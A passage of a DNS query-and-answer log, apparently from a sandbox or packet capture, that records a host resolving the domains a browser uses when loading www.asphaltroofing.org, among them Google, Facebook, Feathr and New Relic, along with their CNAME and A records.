Apr 23, 2024 16:53:39.576795101 CEST	192.168.2.6	1.1.1.1	0x19ca	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.576972008 CEST	192.168.2.6	1.1.1.1	0xe6a9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 16:53:39.958158016 CEST	192.168.2.6	1.1.1.1	0x47ac	Standard query (0)	wds.wesq.me	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.958698034 CEST	192.168.2.6	1.1.1.1	0x5e5b	Standard query (0)	wds.wesq.me	65	IN (0x0001)	false
Apr 23, 2024 16:53:40.008111954 CEST	192.168.2.6	1.1.1.1	0x149b	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:40.008750916 CEST	192.168.2.6	1.1.1.1	0x1739	Standard query (0)	s.w.org	65	IN (0x0001)	false
Apr 23, 2024 16:53:45.495534897 CEST	192.168.2.6	1.1.1.1	0xe3aa	Standard query (0)	img1.wsimg.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:45.496383905 CEST	192.168.2.6	1.1.1.1	0x6cb5	Standard query (0)	img1.wsimg.com	65	IN (0x0001)	false
Apr 23, 2024 16:53:48.976919889 CEST	192.168.2.6	1.1.1.1	0xd893	Standard query (0)	www.asphaltroofing.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:48.977185965 CEST	192.168.2.6	1.1.1.1	0xb8e7	Standard query (0)	www.asphaltroofing.org	65	IN (0x0001)	false
Apr 23, 2024 16:53:49.341172934 CEST	192.168.2.6	1.1.1.1	0xd7c2	Standard query (0)	cdn.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:49.341319084 CEST	192.168.2.6	1.1.1.1	0x9a96	Standard query (0)	cdn.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:50.201342106 CEST	192.168.2.6	1.1.1.1	0xaf08	Standard query (0)	polo.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.201750994 CEST	192.168.2.6	1.1.1.1	0x39a2	Standard query (0)	polo.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:50.850867033 CEST	192.168.2.6	1.1.1.1	0x5606	Standard query (0)	polo.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.851015091 CEST	192.168.2.6	1.1.1.1	0x52a8	Standard query (0)	polo.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:52.981781960 CEST	192.168.2.6	1.1.1.1	0xa30	Standard query (0)	marco.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:52.981940031 CEST	192.168.2.6	1.1.1.1	0xb476	Standard query (0)	marco.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:53.589834929 CEST	192.168.2.6	1.1.1.1	0xb8ea	Standard query (0)	marco.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.590010881 CEST	192.168.2.6	1.1.1.1	0xbe63	Standard query (0)	marco.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:54.115920067 CEST	192.168.2.6	1.1.1.1	0x3a7	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:54.116070032 CEST	192.168.2.6	1.1.1.1	0x1319	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 23, 2024 16:53:55.240638971 CEST	192.168.2.6	1.1.1.1	0x542c	Standard query (0)	polo-v1.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.240921974 CEST	192.168.2.6	1.1.1.1	0x638e	Standard query (0)	polo-v1.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:55.954044104 CEST	192.168.2.6	1.1.1.1	0x5d3c	Standard query (0)	polo-v1.feathr.co	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.954431057 CEST	192.168.2.6	1.1.1.1	0x6483	Standard query (0)	polo-v1.feathr.co	65	IN (0x0001)	false
Apr 23, 2024 16:53:56.460767031 CEST	192.168.2.6	1.1.1.1	0x227c	Standard query (0)	events.api.secureserver.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:56.461193085 CEST	192.168.2.6	1.1.1.1	0xaaca	Standard query (0)	events.api.secureserver.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:56.717556000 CEST	192.168.2.6	1.1.1.1	0xadb3	Standard query (0)	csp.secureserver.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:56.717714071 CEST	192.168.2.6	1.1.1.1	0x2f32	Standard query (0)	csp.secureserver.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:57.209770918 CEST	192.168.2.6	1.1.1.1	0x6014	Standard query (0)	events.api.secureserver.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.209841013 CEST	192.168.2.6	1.1.1.1	0x2810	Standard query (0)	events.api.secureserver.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:57.388421059 CEST	192.168.2.6	1.1.1.1	0xcc45	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.388580084 CEST	192.168.2.6	1.1.1.1	0x4d69	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:57.639420986 CEST	192.168.2.6	1.1.1.1	0x23e1	Standard query (0)	arma1.memberclicks.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.639667034 CEST	192.168.2.6	1.1.1.1	0x9589	Standard query (0)	arma1.memberclicks.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:58.635416031 CEST	192.168.2.6	1.1.1.1	0x5148	Standard query (0)	d1azc1qln24ryf.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:58.635521889 CEST	192.168.2.6	1.1.1.1	0x54aa	Standard query (0)	d1azc1qln24ryf.cloudfront.net	65	IN (0x0001)	false
Apr 23, 2024 16:53:59.248089075 CEST	192.168.2.6	1.1.1.1	0x7e90	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:59.248478889 CEST	192.168.2.6	1.1.1.1	0xa3b4	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 23, 2024 16:53:59.817652941 CEST	192.168.2.6	1.1.1.1	0xc4ff	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:59.818156004 CEST	192.168.2.6	1.1.1.1	0xa69e	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 23, 2024 16:54:05.091442108 CEST	192.168.2.6	1.1.1.1	0xe940	Standard query (0)	arma1.memberclicks.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.091814995 CEST	192.168.2.6	1.1.1.1	0x7885	Standard query (0)	arma1.memberclicks.net	65	IN (0x0001)	false
Apr 23, 2024 16:54:05.719521046 CEST	192.168.2.6	1.1.1.1	0xfd46	Standard query (0)	js-agent.newrelic.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.719521046 CEST	192.168.2.6	1.1.1.1	0xc807	Standard query (0)	js-agent.newrelic.com	65	IN (0x0001)	false
Apr 23, 2024 16:54:06.609680891 CEST	192.168.2.6	1.1.1.1	0x74a	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:06.610068083 CEST	192.168.2.6	1.1.1.1	0x44da	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
Apr 23, 2024 16:54:07.295161963 CEST	192.168.2.6	1.1.1.1	0x763	Standard query (0)	bam.nr-data.net	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:07.295370102 CEST	192.168.2.6	1.1.1.1	0x82dd	Standard query (0)	bam.nr-data.net	65	IN (0x0001)	false
Apr 23, 2024 16:54:13.768030882 CEST	192.168.2.6	1.1.1.1	0x4bff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.768264055 CEST	192.168.2.6	1.1.1.1	0x4270	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 23, 2024 16:54:21.772464991 CEST	192.168.2.6	1.1.1.1	0x1690	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.772744894 CEST	192.168.2.6	1.1.1.1	0xd492	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 16:53:38.758213997 CEST	1.1.1.1	192.168.2.6	0x7aa1	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:38.861037970 CEST	1.1.1.1	192.168.2.6	0xb104	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:38.861037970 CEST	1.1.1.1	192.168.2.6	0xb104	No error (0)	asphaltroofing.org		192.124.249.102	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.245148897 CEST	1.1.1.1	192.168.2.6	0xbe13	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:39.407500029 CEST	1.1.1.1	192.168.2.6	0x96f3	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:39.407500029 CEST	1.1.1.1	192.168.2.6	0x96f3	No error (0)	asphaltroofing.org		192.124.249.102	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.103	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.681824923 CEST	1.1.1.1	192.168.2.6	0x19ca	No error (0)	www.google.com		74.125.136.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.683155060 CEST	1.1.1.1	192.168.2.6	0xe6a9	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 23, 2024 16:53:40.091670990 CEST	1.1.1.1	192.168.2.6	0x47ac	No error (0)	wds.wesq.me		198.143.165.219	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:40.113514900 CEST	1.1.1.1	192.168.2.6	0x149b	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:45.601898909 CEST	1.1.1.1	192.168.2.6	0x6cb5	No error (0)	img1.wsimg.com	global-wildcard.wsimg.com.sni-only.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:45.602915049 CEST	1.1.1.1	192.168.2.6	0xe3aa	No error (0)	img1.wsimg.com	global-wildcard.wsimg.com.sni-only.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:49.115092993 CEST	1.1.1.1	192.168.2.6	0xd893	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:49.115092993 CEST	1.1.1.1	192.168.2.6	0xd893	No error (0)	asphaltroofing.org		192.124.249.102	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:49.115798950 CEST	1.1.1.1	192.168.2.6	0xb8e7	No error (0)	www.asphaltroofing.org	asphaltroofing.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:49.446644068 CEST	1.1.1.1	192.168.2.6	0xd7c2	No error (0)	cdn.feathr.co		104.26.14.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:49.446644068 CEST	1.1.1.1	192.168.2.6	0xd7c2	No error (0)	cdn.feathr.co		104.26.15.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:49.446644068 CEST	1.1.1.1	192.168.2.6	0xd7c2	No error (0)	cdn.feathr.co		172.67.68.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:49.447057962 CEST	1.1.1.1	192.168.2.6	0x9a96	No error (0)	cdn.feathr.co			65	IN (0x0001)	false
Apr 23, 2024 16:53:50.307312965 CEST	1.1.1.1	192.168.2.6	0x39a2	No error (0)	polo.feathr.co			65	IN (0x0001)	false
Apr 23, 2024 16:53:50.307537079 CEST	1.1.1.1	192.168.2.6	0xaf08	No error (0)	polo.feathr.co		172.67.68.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.307537079 CEST	1.1.1.1	192.168.2.6	0xaf08	No error (0)	polo.feathr.co		104.26.15.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.307537079 CEST	1.1.1.1	192.168.2.6	0xaf08	No error (0)	polo.feathr.co		104.26.14.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.955562115 CEST	1.1.1.1	192.168.2.6	0x5606	No error (0)	polo.feathr.co		104.26.15.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.955562115 CEST	1.1.1.1	192.168.2.6	0x5606	No error (0)	polo.feathr.co		104.26.14.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.955562115 CEST	1.1.1.1	192.168.2.6	0x5606	No error (0)	polo.feathr.co		172.67.68.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:50.957324028 CEST	1.1.1.1	192.168.2.6	0x52a8	No error (0)	polo.feathr.co			65	IN (0x0001)	false
Apr 23, 2024 16:53:51.427095890 CEST	1.1.1.1	192.168.2.6	0x86c2	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:51.427095890 CEST	1.1.1.1	192.168.2.6	0x86c2	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.087668896 CEST	1.1.1.1	192.168.2.6	0xa30	No error (0)	marco.feathr.co	d1yalerk4ruah8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:53.087668896 CEST	1.1.1.1	192.168.2.6	0xa30	No error (0)	d1yalerk4ruah8.cloudfront.net		18.160.78.62	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.087668896 CEST	1.1.1.1	192.168.2.6	0xa30	No error (0)	d1yalerk4ruah8.cloudfront.net		18.160.78.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.087668896 CEST	1.1.1.1	192.168.2.6	0xa30	No error (0)	d1yalerk4ruah8.cloudfront.net		18.160.78.31	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.087668896 CEST	1.1.1.1	192.168.2.6	0xa30	No error (0)	d1yalerk4ruah8.cloudfront.net		18.160.78.78	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.089555979 CEST	1.1.1.1	192.168.2.6	0xb476	No error (0)	marco.feathr.co	d1yalerk4ruah8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695012093 CEST	1.1.1.1	192.168.2.6	0xb8ea	No error (0)	marco.feathr.co	d1yalerk4ruah8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695012093 CEST	1.1.1.1	192.168.2.6	0xb8ea	No error (0)	d1yalerk4ruah8.cloudfront.net		13.32.151.88	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695012093 CEST	1.1.1.1	192.168.2.6	0xb8ea	No error (0)	d1yalerk4ruah8.cloudfront.net		13.32.151.75	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695012093 CEST	1.1.1.1	192.168.2.6	0xb8ea	No error (0)	d1yalerk4ruah8.cloudfront.net		13.32.151.55	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695012093 CEST	1.1.1.1	192.168.2.6	0xb8ea	No error (0)	d1yalerk4ruah8.cloudfront.net		13.32.151.2	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:53.695111036 CEST	1.1.1.1	192.168.2.6	0xbe63	No error (0)	marco.feathr.co	d1yalerk4ruah8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:54.220592022 CEST	1.1.1.1	192.168.2.6	0x3a7	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:54.220592022 CEST	1.1.1.1	192.168.2.6	0x3a7	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:54.220592022 CEST	1.1.1.1	192.168.2.6	0x3a7	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:54.220592022 CEST	1.1.1.1	192.168.2.6	0x3a7	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.346415043 CEST	1.1.1.1	192.168.2.6	0x542c	No error (0)	polo-v1.feathr.co		104.26.15.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.346415043 CEST	1.1.1.1	192.168.2.6	0x542c	No error (0)	polo-v1.feathr.co		172.67.68.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.346415043 CEST	1.1.1.1	192.168.2.6	0x542c	No error (0)	polo-v1.feathr.co		104.26.14.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:55.346889973 CEST	1.1.1.1	192.168.2.6	0x638e	No error (0)	polo-v1.feathr.co			65	IN (0x0001)	false
Apr 23, 2024 16:53:56.059509039 CEST	1.1.1.1	192.168.2.6	0x5d3c	No error (0)	polo-v1.feathr.co		104.26.15.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:56.059509039 CEST	1.1.1.1	192.168.2.6	0x5d3c	No error (0)	polo-v1.feathr.co		172.67.68.21	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:56.059509039 CEST	1.1.1.1	192.168.2.6	0x5d3c	No error (0)	polo-v1.feathr.co		104.26.14.119	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:56.060527086 CEST	1.1.1.1	192.168.2.6	0x6483	No error (0)	polo-v1.feathr.co			65	IN (0x0001)	false
Apr 23, 2024 16:53:56.566051960 CEST	1.1.1.1	192.168.2.6	0x227c	No error (0)	events.api.secureserver.net	wildcard-sni-only.api.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:56.566907883 CEST	1.1.1.1	192.168.2.6	0xaaca	No error (0)	events.api.secureserver.net	wildcard-sni-only.api.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:56.822839022 CEST	1.1.1.1	192.168.2.6	0x2f32	No error (0)	csp.secureserver.net	csp.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:56.823293924 CEST	1.1.1.1	192.168.2.6	0xadb3	No error (0)	csp.secureserver.net	csp.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:57.316138029 CEST	1.1.1.1	192.168.2.6	0x2810	No error (0)	events.api.secureserver.net	wildcard-sni-only.api.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:57.316158056 CEST	1.1.1.1	192.168.2.6	0x6014	No error (0)	events.api.secureserver.net	wildcard-sni-only.api.secureserver.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:57.493412971 CEST	1.1.1.1	192.168.2.6	0xcc45	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:57.493412971 CEST	1.1.1.1	192.168.2.6	0xcc45	No error (0)	scontent.xx.fbcdn.net		31.13.88.13	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.493742943 CEST	1.1.1.1	192.168.2.6	0x4d69	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:57.748121977 CEST	1.1.1.1	192.168.2.6	0x9589	No error (0)	arma1.memberclicks.net			65	IN (0x0001)	false
Apr 23, 2024 16:53:57.750761032 CEST	1.1.1.1	192.168.2.6	0x23e1	No error (0)	arma1.memberclicks.net		104.17.137.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.750761032 CEST	1.1.1.1	192.168.2.6	0x23e1	No error (0)	arma1.memberclicks.net		104.17.139.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.750761032 CEST	1.1.1.1	192.168.2.6	0x23e1	No error (0)	arma1.memberclicks.net		104.17.138.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.750761032 CEST	1.1.1.1	192.168.2.6	0x23e1	No error (0)	arma1.memberclicks.net		104.17.140.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:57.750761032 CEST	1.1.1.1	192.168.2.6	0x23e1	No error (0)	arma1.memberclicks.net		104.17.141.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:58.741709948 CEST	1.1.1.1	192.168.2.6	0x5148	No error (0)	d1azc1qln24ryf.cloudfront.net		54.230.139.33	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:58.741709948 CEST	1.1.1.1	192.168.2.6	0x5148	No error (0)	d1azc1qln24ryf.cloudfront.net		54.230.139.83	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:58.741709948 CEST	1.1.1.1	192.168.2.6	0x5148	No error (0)	d1azc1qln24ryf.cloudfront.net		54.230.139.28	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:58.741709948 CEST	1.1.1.1	192.168.2.6	0x5148	No error (0)	d1azc1qln24ryf.cloudfront.net		54.230.139.195	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:59.353584051 CEST	1.1.1.1	192.168.2.6	0xa3b4	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:59.353730917 CEST	1.1.1.1	192.168.2.6	0x7e90	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:59.353730917 CEST	1.1.1.1	192.168.2.6	0x7e90	No error (0)	star-mini.c10r.facebook.com		31.13.88.35	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:59.922358036 CEST	1.1.1.1	192.168.2.6	0xc4ff	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:53:59.922358036 CEST	1.1.1.1	192.168.2.6	0xc4ff	No error (0)	star-mini.c10r.facebook.com		31.13.66.35	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:59.923448086 CEST	1.1.1.1	192.168.2.6	0xa69e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:05.198227882 CEST	1.1.1.1	192.168.2.6	0x7885	No error (0)	arma1.memberclicks.net			65	IN (0x0001)	false
Apr 23, 2024 16:54:05.199470997 CEST	1.1.1.1	192.168.2.6	0xe940	No error (0)	arma1.memberclicks.net		104.17.140.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.199470997 CEST	1.1.1.1	192.168.2.6	0xe940	No error (0)	arma1.memberclicks.net		104.17.141.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.199470997 CEST	1.1.1.1	192.168.2.6	0xe940	No error (0)	arma1.memberclicks.net		104.17.138.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.199470997 CEST	1.1.1.1	192.168.2.6	0xe940	No error (0)	arma1.memberclicks.net		104.17.137.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.199470997 CEST	1.1.1.1	192.168.2.6	0xe940	No error (0)	arma1.memberclicks.net		104.17.139.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:05.824388027 CEST	1.1.1.1	192.168.2.6	0xfd46	No error (0)	js-agent.newrelic.com		162.247.243.39	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:06.714915991 CEST	1.1.1.1	192.168.2.6	0x74a	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:06.714915991 CEST	1.1.1.1	192.168.2.6	0x74a	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:06.714915991 CEST	1.1.1.1	192.168.2.6	0x74a	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:06.714973927 CEST	1.1.1.1	192.168.2.6	0x44da	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:06.714973927 CEST	1.1.1.1	192.168.2.6	0x44da	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:07.400244951 CEST	1.1.1.1	192.168.2.6	0x82dd	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:07.400244951 CEST	1.1.1.1	192.168.2.6	0x82dd	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:07.400387049 CEST	1.1.1.1	192.168.2.6	0x763	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:07.400387049 CEST	1.1.1.1	192.168.2.6	0x763	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2024 16:54:07.400387049 CEST	1.1.1.1	192.168.2.6	0x763	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:09.992221117 CEST	1.1.1.1	192.168.2.6	0xfd5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:09.992221117 CEST	1.1.1.1	192.168.2.6	0xfd5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.103	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873140097 CEST	1.1.1.1	192.168.2.6	0x4bff	No error (0)	www.google.com		74.125.136.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:13.873559952 CEST	1.1.1.1	192.168.2.6	0x4270	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.147	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.99	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.106	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.104	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.105	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.877485037 CEST	1.1.1.1	192.168.2.6	0x1690	No error (0)	www.google.com		172.253.124.103	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:54:21.878304958 CEST	1.1.1.1	192.168.2.6	0xd492	No error (0)	www.google.com			65	IN (0x0001)	false
